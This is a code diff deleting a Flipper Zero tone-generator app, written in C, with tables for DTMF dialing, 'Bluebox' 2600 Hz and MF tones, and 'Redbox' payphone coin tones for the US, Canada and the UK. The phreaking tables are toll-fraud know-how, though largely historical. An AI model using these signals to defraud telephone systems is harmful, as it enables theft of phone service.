{"A", 697.0, 1633.0, {0, 3, 1}, 0, 0, 0},
|
|
||||||
{"4", 770.0, 1209.0, {1, 0, 1}, 0, 0, 0},
|
|
||||||
{"5", 770.0, 1336.0, {1, 1, 1}, 0, 0, 0},
|
|
||||||
{"6", 770.0, 1477.0, {1, 2, 1}, 0, 0, 0},
|
|
||||||
{"B", 770.0, 1633.0, {1, 3, 1}, 0, 0, 0},
|
|
||||||
{"7", 852.0, 1209.0, {2, 0, 1}, 0, 0, 0},
|
|
||||||
{"8", 852.0, 1336.0, {2, 1, 1}, 0, 0, 0},
|
|
||||||
{"9", 852.0, 1477.0, {2, 2, 1}, 0, 0, 0},
|
|
||||||
{"C", 852.0, 1633.0, {2, 3, 1}, 0, 0, 0},
|
|
||||||
{"*", 941.0, 1209.0, {3, 0, 1}, 0, 0, 0},
|
|
||||||
{"0", 941.0, 1336.0, {3, 1, 1}, 0, 0, 0},
|
|
||||||
{"#", 941.0, 1477.0, {3, 2, 1}, 0, 0, 0},
|
|
||||||
{"D", 941.0, 1633.0, {3, 3, 1}, 0, 0, 0},
|
|
||||||
}};
|
|
||||||
|
|
||||||
DTMFDolphinSceneData DTMFDolphinSceneDataBluebox = {
|
|
||||||
.name = "Bluebox",
|
|
||||||
.block = DTMF_DOLPHIN_TONE_BLOCK_BLUEBOX,
|
|
||||||
.tone_count = 13,
|
|
||||||
.tones = {
|
|
||||||
{"1", 700.0, 900.0, {0, 0, 1}, 0, 0, 0},
|
|
||||||
{"2", 700.0, 1100.0, {0, 1, 1}, 0, 0, 0},
|
|
||||||
{"3", 900.0, 1100.0, {0, 2, 1}, 0, 0, 0},
|
|
||||||
{"4", 700.0, 1300.0, {1, 0, 1}, 0, 0, 0},
|
|
||||||
{"5", 900.0, 1300.0, {1, 1, 1}, 0, 0, 0},
|
|
||||||
{"6", 1100.0, 1300.0, {1, 2, 1}, 0, 0, 0},
|
|
||||||
{"7", 700.0, 1500.0, {2, 0, 1}, 0, 0, 0},
|
|
||||||
{"8", 900.0, 1500.0, {2, 1, 1}, 0, 0, 0},
|
|
||||||
{"9", 1100.0, 1500.0, {2, 2, 1}, 0, 0, 0},
|
|
||||||
{"0", 1300.0, 1500.0, {3, 1, 1}, 0, 0, 0},
|
|
||||||
{"KP", 1100.0, 1700.0, {0, 3, 2}, 0, 0, 0},
|
|
||||||
{"ST", 1500.0, 1700.0, {1, 3, 2}, 0, 0, 0},
|
|
||||||
{"2600", 2600.0, 0.0, {3, 2, 3}, 0, 0, 0},
|
|
||||||
}};
|
|
||||||
|
|
||||||
DTMFDolphinSceneData DTMFDolphinSceneDataRedboxUS = {
|
|
||||||
.name = "Redbox (US)",
|
|
||||||
.block = DTMF_DOLPHIN_TONE_BLOCK_REDBOX_US,
|
|
||||||
.tone_count = 4,
|
|
||||||
.tones = {
|
|
||||||
{"Nickel", 1700.0, 2200.0, {0, 0, 5}, 1, 66, 0},
|
|
||||||
{"Dime", 1700.0, 2200.0, {1, 0, 5}, 2, 66, 66},
|
|
||||||
{"Quarter", 1700.0, 2200.0, {2, 0, 5}, 5, 33, 33},
|
|
||||||
{"Dollar", 1700.0, 2200.0, {3, 0, 5}, 1, 650, 0},
|
|
||||||
}};
|
|
||||||
|
|
||||||
DTMFDolphinSceneData DTMFDolphinSceneDataRedboxCA = {
|
|
||||||
.name = "Redbox (CA)",
|
|
||||||
.block = DTMF_DOLPHIN_TONE_BLOCK_REDBOX_CA,
|
|
||||||
.tone_count = 3,
|
|
||||||
.tones = {
|
|
||||||
{"Nickel", 2200.0, 0.0, {0, 0, 5}, 1, 66, 0},
|
|
||||||
{"Dime", 2200.0, 0.0, {1, 0, 5}, 2, 66, 66},
|
|
||||||
{"Quarter", 2200.0, 0.0, {2, 0, 5}, 5, 33, 33},
|
|
||||||
}};
|
|
||||||
|
|
||||||
DTMFDolphinSceneData DTMFDolphinSceneDataRedboxUK = {
|
|
||||||
.name = "Redbox (UK)",
|
|
||||||
.block = DTMF_DOLPHIN_TONE_BLOCK_REDBOX_UK,
|
|
||||||
.tone_count = 2,
|
|
||||||
.tones = {
|
|
||||||
{"10p", 1000.0, 0.0, {0, 0, 5}, 1, 200, 0},
|
|
||||||
{"50p", 1000.0, 0.0, {1, 0, 5}, 1, 350, 0},
|
|
||||||
}};
|
|
||||||
|
|
||||||
DTMFDolphinSceneData DTMFDolphinSceneDataMisc = {
|
|
||||||
.name = "Misc",
|
|
||||||
.block = DTMF_DOLPHIN_TONE_BLOCK_MISC,
|
|
||||||
.tone_count = 3,
|
|
||||||
.tones = {
|
|
||||||
{"CCITT 11", 700.0, 1700.0, {0, 0, 5}, 0, 0, 0},
|
|
||||||
{"CCITT 12", 900.0, 1700.0, {1, 0, 5}, 0, 0, 0},
|
|
||||||
{"CCITT KP2", 1300.0, 1700.0, {2, 0, 5}, 0, 0, 0},
|
|
||||||
}};
|
|
||||||
|
|
||||||
DTMFDolphinToneSection current_section;
|
|
||||||
DTMFDolphinSceneData* current_scene_data;
|
|
||||||
|
|
||||||
void dtmf_dolphin_data_set_current_section(DTMFDolphinToneSection section) {
|
|
||||||
current_section = section;
|
|
||||||
|
|
||||||
switch(current_section) {
|
|
||||||
case DTMF_DOLPHIN_TONE_BLOCK_BLUEBOX:
|
|
||||||
current_scene_data = &DTMFDolphinSceneDataBluebox;
|
|
||||||
break;
|
|
||||||
case DTMF_DOLPHIN_TONE_BLOCK_REDBOX_US:
|
|
||||||
current_scene_data = &DTMFDolphinSceneDataRedboxUS;
|
|
||||||
break;
|
|
||||||
case DTMF_DOLPHIN_TONE_BLOCK_REDBOX_CA:
|
|
||||||
current_scene_data = &DTMFDolphinSceneDataRedboxCA;
|
|
||||||
break;
|
|
||||||
case DTMF_DOLPHIN_TONE_BLOCK_REDBOX_UK:
|
|
||||||
current_scene_data = &DTMFDolphinSceneDataRedboxUK;
|
|
||||||
break;
|
|
||||||
case DTMF_DOLPHIN_TONE_BLOCK_MISC:
|
|
||||||
current_scene_data = &DTMFDolphinSceneDataMisc;
|
|
||||||
break;
|
|
||||||
default: // DTMF_DOLPHIN_TONE_BLOCK_DIALER:
|
|
||||||
current_scene_data = &DTMFDolphinSceneDataDialer;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
DTMFDolphinToneSection dtmf_dolphin_data_get_current_section() {
|
|
||||||
return current_section;
|
|
||||||
}
|
|
||||||
|
|
||||||
DTMFDolphinSceneData* dtmf_dolphin_data_get_current_scene_data() {
|
|
||||||
return current_scene_data;
|
|
||||||
}
|
|
||||||
|
|
||||||
bool dtmf_dolphin_data_get_tone_frequencies(float* freq1, float* freq2, uint8_t row, uint8_t col) {
|
|
||||||
for(size_t i = 0; i < current_scene_data->tone_count; i++) {
|
|
||||||
DTMFDolphinTones tones = current_scene_data->tones[i];
|
|
||||||
if(tones.pos.row == row && tones.pos.col == col) {
|
|
||||||
freq1[0] = tones.frequency_1;
|
|
||||||
freq2[0] = tones.frequency_2;
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
bool dtmf_dolphin_data_get_filter_data(
|
|
||||||
uint16_t* pulses,
|
|
||||||
uint16_t* pulse_ms,
|
|
||||||
uint16_t* gap_ms,
|
|
||||||
uint8_t row,
|
|
||||||
uint8_t col) {
|
|
||||||
for(size_t i = 0; i < current_scene_data->tone_count; i++) {
|
|
||||||
DTMFDolphinTones tones = current_scene_data->tones[i];
|
|
||||||
if(tones.pos.row == row && tones.pos.col == col) {
|
|
||||||
pulses[0] = tones.pulses;
|
|
||||||
pulse_ms[0] = tones.pulse_ms;
|
|
||||||
gap_ms[0] = tones.gap_duration;
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
const char* dtmf_dolphin_data_get_tone_name(uint8_t row, uint8_t col) {
|
|
||||||
for(size_t i = 0; i < current_scene_data->tone_count; i++) {
|
|
||||||
DTMFDolphinTones tones = current_scene_data->tones[i];
|
|
||||||
if(tones.pos.row == row && tones.pos.col == col) {
|
|
||||||
return tones.name;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
const char* dtmf_dolphin_data_get_current_section_name() {
|
|
||||||
if(current_scene_data) {
|
|
||||||
return current_scene_data->name;
|
|
||||||
}
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
void dtmf_dolphin_tone_get_max_pos(uint8_t* max_rows, uint8_t* max_cols, uint8_t* max_span) {
|
|
||||||
max_rows[0] = 0;
|
|
||||||
max_cols[0] = 0;
|
|
||||||
max_span[0] = 0;
|
|
||||||
uint8_t tmp_rowspan[5] = {0, 0, 0, 0, 0};
|
|
||||||
for(size_t i = 0; i < current_scene_data->tone_count; i++) {
|
|
||||||
DTMFDolphinTones tones = current_scene_data->tones[i];
|
|
||||||
if(tones.pos.row > max_rows[0]) {
|
|
||||||
max_rows[0] = tones.pos.row;
|
|
||||||
}
|
|
||||||
if(tones.pos.col > max_cols[0]) {
|
|
||||||
max_cols[0] = tones.pos.col;
|
|
||||||
}
|
|
||||||
tmp_rowspan[tones.pos.row] += tones.pos.span;
|
|
||||||
if(tmp_rowspan[tones.pos.row] > max_span[0]) max_span[0] = tmp_rowspan[tones.pos.row];
|
|
||||||
}
|
|
||||||
max_rows[0]++;
|
|
||||||
max_cols[0]++;
|
|
||||||
}
|
|
||||||
|
|
||||||
uint8_t dtmf_dolphin_get_tone_span(uint8_t row, uint8_t col) {
|
|
||||||
for(size_t i = 0; i < current_scene_data->tone_count; i++) {
|
|
||||||
DTMFDolphinTones tones = current_scene_data->tones[i];
|
|
||||||
if(tones.pos.row == row && tones.pos.col == col) {
|
|
||||||
return tones.pos.span;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
@@ -1,36 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
#include <stddef.h>
|
|
||||||
#include <stdint.h>
|
|
||||||
#include <stdbool.h>
|
|
||||||
|
|
||||||
#define DTMF_DOLPHIN_MAX_TONE_COUNT 16
|
|
||||||
|
|
||||||
typedef enum {
|
|
||||||
DTMF_DOLPHIN_TONE_BLOCK_DIALER,
|
|
||||||
DTMF_DOLPHIN_TONE_BLOCK_BLUEBOX,
|
|
||||||
DTMF_DOLPHIN_TONE_BLOCK_REDBOX_US,
|
|
||||||
DTMF_DOLPHIN_TONE_BLOCK_REDBOX_UK,
|
|
||||||
DTMF_DOLPHIN_TONE_BLOCK_REDBOX_CA,
|
|
||||||
DTMF_DOLPHIN_TONE_BLOCK_MISC,
|
|
||||||
} DTMFDolphinToneSection;
|
|
||||||
|
|
||||||
void dtmf_dolphin_data_set_current_section(DTMFDolphinToneSection section);
|
|
||||||
|
|
||||||
DTMFDolphinToneSection dtmf_dolphin_data_get_current_section();
|
|
||||||
|
|
||||||
bool dtmf_dolphin_data_get_tone_frequencies(float* freq1, float* freq2, uint8_t row, uint8_t col);
|
|
||||||
|
|
||||||
bool dtmf_dolphin_data_get_filter_data(
|
|
||||||
uint16_t* pulses,
|
|
||||||
uint16_t* pulse_ms,
|
|
||||||
uint16_t* gap_ms,
|
|
||||||
uint8_t row,
|
|
||||||
uint8_t col);
|
|
||||||
|
|
||||||
const char* dtmf_dolphin_data_get_tone_name(uint8_t row, uint8_t col);
|
|
||||||
|
|
||||||
const char* dtmf_dolphin_data_get_current_section_name();
|
|
||||||
|
|
||||||
void dtmf_dolphin_tone_get_max_pos(uint8_t* max_rows, uint8_t* max_cols, uint8_t* max_span);
|
|
||||||
|
|
||||||
uint8_t dtmf_dolphin_get_tone_span(uint8_t row, uint8_t col);
|
|
||||||
@@ -1,21 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
typedef enum {
|
|
||||||
DTMFDolphinEventVolumeUp = 0,
|
|
||||||
DTMFDolphinEventVolumeDown,
|
|
||||||
DTMFDolphinDialerOkCB,
|
|
||||||
DTMFDolphinEventStartDialer,
|
|
||||||
DTMFDolphinEventStartBluebox,
|
|
||||||
DTMFDolphinEventStartRedboxUS,
|
|
||||||
DTMFDolphinEventStartRedboxUK,
|
|
||||||
DTMFDolphinEventStartRedboxCA,
|
|
||||||
DTMFDolphinEventStartMisc,
|
|
||||||
DTMFDolphinEventPlayTones,
|
|
||||||
DTMFDolphinEventStopTones,
|
|
||||||
DTMFDolphinEventDMAHalfTransfer,
|
|
||||||
DTMFDolphinEventDMAFullTransfer,
|
|
||||||
} DTMFDolphinEvent;
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
DTMFDolphinEvent type;
|
|
||||||
} DTMFDolphinCustomEvent;
|
|
||||||
@@ -1,52 +0,0 @@
|
|||||||
#include "dtmf_dolphin_hal.h"
|
|
||||||
|
|
||||||
void dtmf_dolphin_speaker_init() {
|
|
||||||
LL_TIM_InitTypeDef TIM_InitStruct = {0};
|
|
||||||
TIM_InitStruct.Prescaler = DTMF_DOLPHIN_HAL_DMA_PRESCALER;
|
|
||||||
TIM_InitStruct.Autoreload = DTMF_DOLPHIN_HAL_DMA_AUTORELOAD;
|
|
||||||
LL_TIM_Init(FURI_HAL_SPEAKER_TIMER, &TIM_InitStruct);
|
|
||||||
|
|
||||||
LL_TIM_OC_InitTypeDef TIM_OC_InitStruct = {0};
|
|
||||||
TIM_OC_InitStruct.OCMode = LL_TIM_OCMODE_PWM1;
|
|
||||||
TIM_OC_InitStruct.OCState = LL_TIM_OCSTATE_ENABLE;
|
|
||||||
TIM_OC_InitStruct.CompareValue = 127;
|
|
||||||
LL_TIM_OC_Init(FURI_HAL_SPEAKER_TIMER, FURI_HAL_SPEAKER_CHANNEL, &TIM_OC_InitStruct);
|
|
||||||
}
|
|
||||||
|
|
||||||
void dtmf_dolphin_speaker_start() {
|
|
||||||
LL_TIM_EnableAllOutputs(FURI_HAL_SPEAKER_TIMER);
|
|
||||||
LL_TIM_EnableCounter(FURI_HAL_SPEAKER_TIMER);
|
|
||||||
}
|
|
||||||
|
|
||||||
void dtmf_dolphin_speaker_stop() {
|
|
||||||
LL_TIM_DisableAllOutputs(FURI_HAL_SPEAKER_TIMER);
|
|
||||||
LL_TIM_DisableCounter(FURI_HAL_SPEAKER_TIMER);
|
|
||||||
}
|
|
||||||
|
|
||||||
void dtmf_dolphin_dma_init(uint32_t address, size_t size) {
|
|
||||||
uint32_t dma_dst = (uint32_t) & (FURI_HAL_SPEAKER_TIMER->CCR1);
|
|
||||||
|
|
||||||
LL_DMA_ConfigAddresses(DMA_INSTANCE, address, dma_dst, LL_DMA_DIRECTION_MEMORY_TO_PERIPH);
|
|
||||||
LL_DMA_SetDataLength(DMA_INSTANCE, size);
|
|
||||||
|
|
||||||
LL_DMA_SetPeriphRequest(DMA_INSTANCE, LL_DMAMUX_REQ_TIM16_UP);
|
|
||||||
LL_DMA_SetDataTransferDirection(DMA_INSTANCE, LL_DMA_DIRECTION_MEMORY_TO_PERIPH);
|
|
||||||
LL_DMA_SetChannelPriorityLevel(DMA_INSTANCE, LL_DMA_PRIORITY_VERYHIGH);
|
|
||||||
LL_DMA_SetMode(DMA_INSTANCE, LL_DMA_MODE_CIRCULAR);
|
|
||||||
LL_DMA_SetPeriphIncMode(DMA_INSTANCE, LL_DMA_PERIPH_NOINCREMENT);
|
|
||||||
LL_DMA_SetMemoryIncMode(DMA_INSTANCE, LL_DMA_MEMORY_INCREMENT);
|
|
||||||
LL_DMA_SetPeriphSize(DMA_INSTANCE, LL_DMA_PDATAALIGN_HALFWORD);
|
|
||||||
LL_DMA_SetMemorySize(DMA_INSTANCE, LL_DMA_MDATAALIGN_HALFWORD);
|
|
||||||
|
|
||||||
LL_DMA_EnableIT_TC(DMA_INSTANCE);
|
|
||||||
LL_DMA_EnableIT_HT(DMA_INSTANCE);
|
|
||||||
}
|
|
||||||
|
|
||||||
void dtmf_dolphin_dma_start() {
|
|
||||||
LL_DMA_EnableChannel(DMA_INSTANCE);
|
|
||||||
LL_TIM_EnableDMAReq_UPDATE(FURI_HAL_SPEAKER_TIMER);
|
|
||||||
}
|
|
||||||
|
|
||||||
void dtmf_dolphin_dma_stop() {
|
|
||||||
LL_DMA_DisableChannel(DMA_INSTANCE);
|
|
||||||
}
|
|
||||||
@@ -1,33 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
#include <furi.h>
|
|
||||||
#include <furi_hal.h>
|
|
||||||
#include <stm32wb55xx.h>
|
|
||||||
#include <stm32wbxx_ll_tim.h>
|
|
||||||
#include <stm32wbxx_ll_dma.h>
|
|
||||||
|
|
||||||
#define FURI_HAL_SPEAKER_TIMER TIM16
|
|
||||||
#define FURI_HAL_SPEAKER_CHANNEL LL_TIM_CHANNEL_CH1
|
|
||||||
#define DMA_INSTANCE DMA1, LL_DMA_CHANNEL_1
|
|
||||||
|
|
||||||
#define DTMF_DOLPHIN_HAL_DMA_PRESCALER 4
|
|
||||||
#define DTMF_DOLPHIN_HAL_DMA_AUTORELOAD 255
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
extern "C" {
|
|
||||||
#endif
|
|
||||||
|
|
||||||
void dtmf_dolphin_speaker_init();
|
|
||||||
|
|
||||||
void dtmf_dolphin_speaker_start();
|
|
||||||
|
|
||||||
void dtmf_dolphin_speaker_stop();
|
|
||||||
|
|
||||||
void dtmf_dolphin_dma_init(uint32_t address, size_t size);
|
|
||||||
|
|
||||||
void dtmf_dolphin_dma_start();
|
|
||||||
|
|
||||||
void dtmf_dolphin_dma_stop();
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
@@ -1,42 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
#include "scenes/dtmf_dolphin_scene.h"
|
|
||||||
|
|
||||||
#include <gui/gui.h>
|
|
||||||
#include <gui/view_dispatcher.h>
|
|
||||||
#include <gui/scene_manager.h>
|
|
||||||
// #include <gui/modules/submenu.h>
|
|
||||||
// #include <gui/modules/widget.h>
|
|
||||||
#include <gui/modules/variable_item_list.h>
|
|
||||||
#include <notification/notification_messages.h>
|
|
||||||
#include <input/input.h>
|
|
||||||
|
|
||||||
#include "dtmf_dolphin_event.h"
|
|
||||||
|
|
||||||
#include "views/dtmf_dolphin_dialer.h"
|
|
||||||
|
|
||||||
#define TAG "DTMFDolphin"
|
|
||||||
|
|
||||||
enum DTMFDolphinSceneState {
|
|
||||||
DTMFDolphinSceneStateDialer,
|
|
||||||
DTMFDolphinSceneStateBluebox,
|
|
||||||
DTMFDolphinSceneStateRedboxUS,
|
|
||||||
DTMFDolphinSceneStateRedboxUK,
|
|
||||||
DTMFDolphinSceneStateRedboxCA,
|
|
||||||
DTMFDolphinSceneStateMisc,
|
|
||||||
};
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
ViewDispatcher* view_dispatcher;
|
|
||||||
SceneManager* scene_manager;
|
|
||||||
VariableItemList* main_menu_list;
|
|
||||||
DTMFDolphinDialer* dtmf_dolphin_dialer;
|
|
||||||
|
|
||||||
Gui* gui;
|
|
||||||
// ButtonPanel* dialer_button_panel;
|
|
||||||
// ButtonPanel* bluebox_button_panel;
|
|
||||||
// ButtonPanel* redbox_button_panel;
|
|
||||||
NotificationApp* notification;
|
|
||||||
} DTMFDolphinApp;
|
|
||||||
|
|
||||||
typedef enum { DTMFDolphinViewMainMenu, DTMFDolphinViewDialer } DTMFDolphinView;
|
|
||||||
BIN
applications/external/dtmf_dolphin/phone.png
vendored
|
Before Width: | Height: | Size: 8.5 KiB |
@@ -1,30 +0,0 @@
|
|||||||
#include "dtmf_dolphin_scene.h"
|
|
||||||
|
|
||||||
// Generate scene on_enter handlers array
|
|
||||||
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter,
|
|
||||||
void (*const dtmf_dolphin_scene_on_enter_handlers[])(void*) = {
|
|
||||||
#include "dtmf_dolphin_scene_config.h"
|
|
||||||
};
|
|
||||||
#undef ADD_SCENE
|
|
||||||
|
|
||||||
// Generate scene on_event handlers array
|
|
||||||
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event,
|
|
||||||
bool (*const dtmf_dolphin_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = {
|
|
||||||
#include "dtmf_dolphin_scene_config.h"
|
|
||||||
};
|
|
||||||
#undef ADD_SCENE
|
|
||||||
|
|
||||||
// Generate scene on_exit handlers array
|
|
||||||
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit,
|
|
||||||
void (*const dtmf_dolphin_scene_on_exit_handlers[])(void* context) = {
|
|
||||||
#include "dtmf_dolphin_scene_config.h"
|
|
||||||
};
|
|
||||||
#undef ADD_SCENE
|
|
||||||
|
|
||||||
// Initialize scene handlers configuration structure
|
|
||||||
const SceneManagerHandlers dtmf_dolphin_scene_handlers = {
|
|
||||||
.on_enter_handlers = dtmf_dolphin_scene_on_enter_handlers,
|
|
||||||
.on_event_handlers = dtmf_dolphin_scene_on_event_handlers,
|
|
||||||
.on_exit_handlers = dtmf_dolphin_scene_on_exit_handlers,
|
|
||||||
.scene_num = DTMFDolphinSceneNum,
|
|
||||||
};
|
|
||||||
@@ -1,29 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
#include <gui/scene_manager.h>
|
|
||||||
|
|
||||||
// Generate scene id and total number
|
|
||||||
#define ADD_SCENE(prefix, name, id) DTMFDolphinScene##id,
|
|
||||||
typedef enum {
|
|
||||||
#include "dtmf_dolphin_scene_config.h"
|
|
||||||
DTMFDolphinSceneNum,
|
|
||||||
} DTMFDolphinScene;
|
|
||||||
#undef ADD_SCENE
|
|
||||||
|
|
||||||
extern const SceneManagerHandlers dtmf_dolphin_scene_handlers;
|
|
||||||
|
|
||||||
// Generate scene on_enter handlers declaration
|
|
||||||
#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*);
|
|
||||||
#include "dtmf_dolphin_scene_config.h"
|
|
||||||
#undef ADD_SCENE
|
|
||||||
|
|
||||||
// Generate scene on_event handlers declaration
|
|
||||||
#define ADD_SCENE(prefix, name, id) \
|
|
||||||
bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event);
|
|
||||||
#include "dtmf_dolphin_scene_config.h"
|
|
||||||
#undef ADD_SCENE
|
|
||||||
|
|
||||||
// Generate scene on_exit handlers declaration
|
|
||||||
#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context);
|
|
||||||
#include "dtmf_dolphin_scene_config.h"
|
|
||||||
#undef ADD_SCENE
|
|
||||||
@@ -1,2 +0,0 @@
|
|||||||
ADD_SCENE(dtmf_dolphin, start, Start)
|
|
||||||
ADD_SCENE(dtmf_dolphin, dialer, Dialer)
|
|
||||||
@@ -1,49 +0,0 @@
|
|||||||
#include "../dtmf_dolphin_i.h"
|
|
||||||
// #include "../dtmf_dolphin_data.h"
|
|
||||||
// #include "../dtmf_dolphin_audio.h"
|
|
||||||
|
|
||||||
void dtmf_dolphin_scene_dialer_on_enter(void* context) {
|
|
||||||
DTMFDolphinApp* app = context;
|
|
||||||
DTMFDolphinScene scene_id = DTMFDolphinSceneDialer;
|
|
||||||
enum DTMFDolphinSceneState state = scene_manager_get_scene_state(app->scene_manager, scene_id);
|
|
||||||
|
|
||||||
switch(state) {
|
|
||||||
case DTMFDolphinSceneStateBluebox:
|
|
||||||
dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_BLUEBOX);
|
|
||||||
break;
|
|
||||||
case DTMFDolphinSceneStateRedboxUS:
|
|
||||||
dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_REDBOX_US);
|
|
||||||
break;
|
|
||||||
case DTMFDolphinSceneStateRedboxUK:
|
|
||||||
dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_REDBOX_UK);
|
|
||||||
break;
|
|
||||||
case DTMFDolphinSceneStateRedboxCA:
|
|
||||||
dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_REDBOX_CA);
|
|
||||||
break;
|
|
||||||
case DTMFDolphinSceneStateMisc:
|
|
||||||
dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_MISC);
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_DIALER);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
view_dispatcher_switch_to_view(app->view_dispatcher, DTMFDolphinViewDialer);
|
|
||||||
}
|
|
||||||
|
|
||||||
bool dtmf_dolphin_scene_dialer_on_event(void* context, SceneManagerEvent event) {
|
|
||||||
DTMFDolphinApp* app = context;
|
|
||||||
UNUSED(app);
|
|
||||||
UNUSED(event);
|
|
||||||
bool consumed = false;
|
|
||||||
|
|
||||||
// if(event.type == SceneManagerEventTypeTick) {
|
|
||||||
// consumed = true;
|
|
||||||
// }
|
|
||||||
|
|
||||||
return consumed;
|
|
||||||
}
|
|
||||||
|
|
||||||
void dtmf_dolphin_scene_dialer_on_exit(void* context) {
|
|
||||||
UNUSED(context);
|
|
||||||
}
|
|
||||||
@@ -1,94 +0,0 @@
|
|||||||
#include "../dtmf_dolphin_i.h"
|
|
||||||
|
|
||||||
static void dtmf_dolphin_scene_start_main_menu_enter_callback(void* context, uint32_t index) {
|
|
||||||
DTMFDolphinApp* app = context;
|
|
||||||
uint8_t cust_event = 255;
|
|
||||||
switch(index) {
|
|
||||||
case 0:
|
|
||||||
cust_event = DTMFDolphinEventStartDialer;
|
|
||||||
break;
|
|
||||||
case 1:
|
|
||||||
cust_event = DTMFDolphinEventStartBluebox;
|
|
||||||
break;
|
|
||||||
case 2:
|
|
||||||
cust_event = DTMFDolphinEventStartRedboxUS;
|
|
||||||
break;
|
|
||||||
case 3:
|
|
||||||
cust_event = DTMFDolphinEventStartRedboxUK;
|
|
||||||
break;
|
|
||||||
case 4:
|
|
||||||
cust_event = DTMFDolphinEventStartRedboxCA;
|
|
||||||
break;
|
|
||||||
case 5:
|
|
||||||
cust_event = DTMFDolphinEventStartMisc;
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
view_dispatcher_send_custom_event(app->view_dispatcher, cust_event);
|
|
||||||
}
|
|
||||||
|
|
||||||
void dtmf_dolphin_scene_start_on_enter(void* context) {
|
|
||||||
DTMFDolphinApp* app = context;
|
|
||||||
VariableItemList* var_item_list = app->main_menu_list;
|
|
||||||
|
|
||||||
// VariableItem* item;
|
|
||||||
variable_item_list_set_enter_callback(
|
|
||||||
var_item_list, dtmf_dolphin_scene_start_main_menu_enter_callback, app);
|
|
||||||
|
|
||||||
variable_item_list_add(var_item_list, "Dialer", 0, NULL, context);
|
|
||||||
variable_item_list_add(var_item_list, "Bluebox", 0, NULL, context);
|
|
||||||
variable_item_list_add(var_item_list, "Redbox (US)", 0, NULL, context);
|
|
||||||
variable_item_list_add(var_item_list, "Redbox (UK)", 0, NULL, context);
|
|
||||||
variable_item_list_add(var_item_list, "Redbox (CA)", 0, NULL, context);
|
|
||||||
variable_item_list_add(var_item_list, "Misc", 0, NULL, context);
|
|
||||||
|
|
||||||
variable_item_list_set_selected_item(
|
|
||||||
var_item_list, scene_manager_get_scene_state(app->scene_manager, DTMFDolphinSceneStart));
|
|
||||||
|
|
||||||
view_dispatcher_switch_to_view(app->view_dispatcher, DTMFDolphinViewMainMenu);
|
|
||||||
}
|
|
||||||
|
|
||||||
bool dtmf_dolphin_scene_start_on_event(void* context, SceneManagerEvent event) {
|
|
||||||
DTMFDolphinApp* app = context;
|
|
||||||
UNUSED(app);
|
|
||||||
bool consumed = false;
|
|
||||||
|
|
||||||
if(event.type == SceneManagerEventTypeCustom) {
|
|
||||||
uint8_t sc_state;
|
|
||||||
|
|
||||||
switch(event.event) {
|
|
||||||
case DTMFDolphinEventStartDialer:
|
|
||||||
sc_state = DTMFDolphinSceneStateDialer;
|
|
||||||
break;
|
|
||||||
case DTMFDolphinEventStartBluebox:
|
|
||||||
sc_state = DTMFDolphinSceneStateBluebox;
|
|
||||||
break;
|
|
||||||
case DTMFDolphinEventStartRedboxUS:
|
|
||||||
sc_state = DTMFDolphinSceneStateRedboxUS;
|
|
||||||
break;
|
|
||||||
case DTMFDolphinEventStartRedboxUK:
|
|
||||||
sc_state = DTMFDolphinSceneStateRedboxUK;
|
|
||||||
break;
|
|
||||||
case DTMFDolphinEventStartRedboxCA:
|
|
||||||
sc_state = DTMFDolphinSceneStateRedboxCA;
|
|
||||||
break;
|
|
||||||
case DTMFDolphinEventStartMisc:
|
|
||||||
sc_state = DTMFDolphinSceneStateMisc;
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
return consumed;
|
|
||||||
}
|
|
||||||
scene_manager_set_scene_state(app->scene_manager, DTMFDolphinSceneDialer, sc_state);
|
|
||||||
scene_manager_next_scene(app->scene_manager, DTMFDolphinSceneDialer);
|
|
||||||
|
|
||||||
consumed = true;
|
|
||||||
}
|
|
||||||
return consumed;
|
|
||||||
}
|
|
||||||
|
|
||||||
void dtmf_dolphin_scene_start_on_exit(void* context) {
|
|
||||||
DTMFDolphinApp* app = context;
|
|
||||||
variable_item_list_reset(app->main_menu_list);
|
|
||||||
}
|
|
||||||
@@ -1,10 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
#include "../dtmf_dolphin_event.h"
|
|
||||||
#include "../dtmf_dolphin_data.h"
|
|
||||||
#include "../dtmf_dolphin_audio.h"
|
|
||||||
|
|
